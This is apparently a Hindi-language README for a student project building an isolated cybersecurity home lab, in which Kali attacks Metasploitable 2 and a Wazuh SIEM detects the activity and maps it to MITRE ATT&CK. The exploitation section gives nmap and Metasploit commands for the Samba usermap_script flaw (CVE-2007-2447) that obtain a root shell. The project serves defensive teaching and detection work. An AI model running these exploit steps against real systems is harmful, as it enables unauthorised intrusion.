🛡️ साइबर सुरक्षा होम लैब — डिटेक्शन एवं मॉनिटरिंग

बी.टेक प्रोजेक्ट (बी.टी.पी) | आईआईआईटी पुणे आधारित: "डिजाइन और कार्यान्वयन: डिटेक्शन और मॉनिटरिंग के लिए एक प्रभावी साइबर सुरक्षा होम लैब" — ICCCNT 2023, IIT दिल्ली

एक पूरी तरह से कार्यात्मक साइबर सुरक्षा होम लैब, जो एक ही मशीन पर मुफ्त और ओपन-सोर्स टूल्स का उपयोग करके बनाई गई है। यह लैब वास्तविक दुनिया के हमले के जीवनचक्र — रिकॉनिसेंस → एक्सप्लॉयटेशन → डिटेक्शन — का अनुकरण करती है और दिखाती है कि कैसे एक SIEM हमलों का पता लगाकर उन्हें MITRE ATT&CK फ्रेमवर्क पर रीयल-टाइम में मैप कर सकता है।

📐 लैब आर्किटेक्चर

┌─────────────────────────────────────────────────┐
│           VirtualBox — Internal Network          │
│              (cyberlab, 10.0.0.x/24)             │
│                                                  │
│  ┌──────────┐   ┌──────────────┐   ┌──────────┐ │
│  │  Kali    │   │ Metasploitable│  │  Ubuntu  │ │
│  │ 10.0.0.1 │◄─►│   10.0.0.2   │◄─►│ 10.0.0.3 │ │
│  │ ATTACKER │   │    VICTIM     │  │   SIEM   │ │
│  └──────────┘   └──────────────┘   └──────────┘ │
└─────────────────────────────────────────────────┘
         Host-Only Adapter (192.168.56.103)
         → Wazuh Dashboard access from browser

🧰 उपकरण और प्रौद्योगिकियाँ

🔧 सेटअप गाइड

पूर्वापेक्षाएँ

• एक मशीन जिसमें कम से कम 16 GB RAM हो (सभी 3 VMs एक साथ चलते हैं)
• VirtualBox 7.x स्थापित हो
• ~50 GB खाली डिस्क स्थान

चरण 1 — VirtualBox में नेटवर्क सेटअप

VirtualBox में cyberlab नाम का एक Internal Network बनाएं। सभी तीन VMs को यह एडॉप्टर मिलता है। Ubuntu/Wazuh VM को एक अतिरिक्त Host-Only Adapter मिलता है ताकि आप अपने ब्राउज़र से डैशबोर्ड तक पहुंच सकें।

चरण 2 — Kali Linux (हमलावर)

1. Kali Linux VirtualBox image डाउनलोड करें
2. आयात करें और cyberlab इंटरनल नेटवर्क एडॉप्टर असाइन करें
3. स्टैटिक IP सेट करें:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.1
    netmask 255.255.255.0

4. नेटवर्किंग पुनः प्रारंभ करें: sudo systemctl restart networking

चरण 3 — Metasploitable 2 (पीड़ित)

1. Metasploitable 2 डाउनलोड करें
2. VirtualBox में आयात करें, cyberlab नेटवर्क असाइन करें
3. स्टैटिक IP सेट करें:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.2
    netmask 255.255.255.0

⚠️ Metasploitable 2 को कभी इंटरनेट से कनेक्ट न करें। यह जानबूझकर असुरक्षित है।

चरण 4 — Ubuntu + Wazuh SIEM (रक्षक)

1. Ubuntu Server 22.04 स्थापित करें
2. दो एडॉप्टर असाइन करें: cyberlab इंटरनल + Host-Only
3. netplan के माध्यम से स्टैटिक IP कॉन्फ़िगर करें (/etc/netplan/01-network-manager-all.yaml):

network:
  version: 2
  renderer: NetworkManager
  ethernets:
    enp0s3:
      addresses:
        - 10.0.0.3/24
    enp0s8:
      dhcp4: true

4. Wazuh (सिंगल-नोड) स्थापित करें:

curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a

5. डैशबोर्ड तक पहुंचें: https://192.168.56.103 (होस्ट ब्राउज़र से)

चरण 5 — Syslog के माध्यम से Metasploitable को Wazuh से कनेक्ट करें

चूंकि Metasploitable 2 Wazuh एजेंट नहीं चला सकता, एजेंटलेस मॉनिटरिंग के लिए syslog फ़ॉरवर्डिंग कॉन्फ़िगर करें:

Metasploitable पर, /etc/rsyslog.conf में जोड़ें:

*.* @10.0.0.3:514

Wazuh (Ubuntu) पर, /var/ossec/etc/ossec.conf में syslog इनपुट सक्षम करें:

<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>udp</protocol>
</remote>

Wazuh को पुनः प्रारंभ करें: sudo systemctl restart wazuh-manager

⚔️ हमले का अनुकरण

चरण 1 — रिकॉनिसेंस (Nmap)

# From Kali
nmap -sV -O 10.0.0.2

Metasploitable 2 पर खोजी गई प्रमुख सेवाएँ:

20+ खुले पोर्ट खोजे गए। OS फिंगरप्रिंट: Linux 2.6.x

चरण 2 — एक्सप्लॉयटेशन (Metasploit)

कमजोरी: CVE-2007-2447 — Samba usermap_script Command Injection

Samba 3.0.0–3.0.25rc3 पर दोषपूर्ण MS-RPC अनुरोधों के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देता है।

# From Kali — launch Metasploit
msfconsole

# Inside Metasploit
use exploit/multi/samba/usermap_script
set RHOSTS 10.0.0.2
set LHOST 10.0.0.1
run

# Verify root access
whoami
# Output: root

चरण 3 — डिटेक्शन (Wazuh SIEM)

एक्सप्लॉयट के बाद, Wazuh ने स्वचालित रूप से घटनाओं का पता लगाया और उन्हें MITRE ATT&CK पर मैप किया:

कुल घटनाएं पता चलीं: 55+

डैशबोर्ड तक पहुंचें https://192.168.56.103 → Security Events → MITRE ATT&CK

📊 प्रमुख परिणाम

• ✅ पृथक वातावरण में पूर्ण हमले के जीवनचक्र को सफलतापूर्वक दोहराया गया
• ✅ CVE-2007-2447 ने सेकंडों में बिना प्रमाणीकरण के रूट शेल प्राप्त किया
• ✅ Wazuh SIEM ने सभी हमलों का पता लगाकर उन्हें रीयल-टाइम में MITRE ATT&CK पर मैप किया
• ✅ Syslog फ़ॉरवर्डिंग ने लीगेसी Metasploitable सिस्टम की एजेंटलेस मॉनिटरिंग सक्षम की
• ✅ पूरी लैब 16 GB RAM वाली एकल होस्ट मशीन पर चलती है

📁 रिपॉजिटरी संरचना

cybersecurity-home-lab/
│
├── README.md                  ← आप यहाँ हैं
├── network-config/
│   ├── kali-interfaces.txt    ← Kali स्टैटिक IP कॉन्फ़िग
│   ├── metasploitable-interfaces.txt
│   └── ubuntu-netplan.yaml    ← Ubuntu/SIEM नेटप्लान कॉन्फ़िग
├── wazuh-config/
│   └── ossec.conf             ← Wazuh syslog/एजेंट कॉन्फ़िग
├── screenshots/
│   ├── nmap-scan.png
│   ├── metasploit-exploit.png
│   ├── wazuh-dashboard.png
│   └── wazuh-alerts-table.png
└── report/
    └── ICCCNT_2023_paper.pdf  ← संदर्भ शोध पत्र

🔗 संदर्भ

Dadiyala, C. et al. (2023). डिजाइन और कार्यान्वयन: डिटेक्शन और मॉनिटरिंग के लिए एक प्रभावी साइबर सुरक्षा होम लैब। 14वां अंतर्राष्ट्रीय सम्मेलन कंप्यूटिंग, कम्युनिकेशन और नेटवर्किंग टेक्नोलॉजीज (ICCCNT), IIT दिल्ली। IEEE-56998।

⚠️ अस्वीकरण

यह लैब पूरी तरह से पृथक वर्चुअल मशीनों पर बनाई गई है जिनमें हमले के अनुकरण के दौरान इंटरनेट की पहुंच नहीं है। सभी उपकरण और तकनीकों का उपयोग केवल एक नियंत्रित वातावरण में शैक्षिक उद्देश्यों के लिए किया जाता है। उन प्रणालियों पर हमले की तकनीकों को दोहराने का प्रयास न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।

प्रस्तुतकर्ता: हर्षिता वर्मा | आईआईआईटी पुणे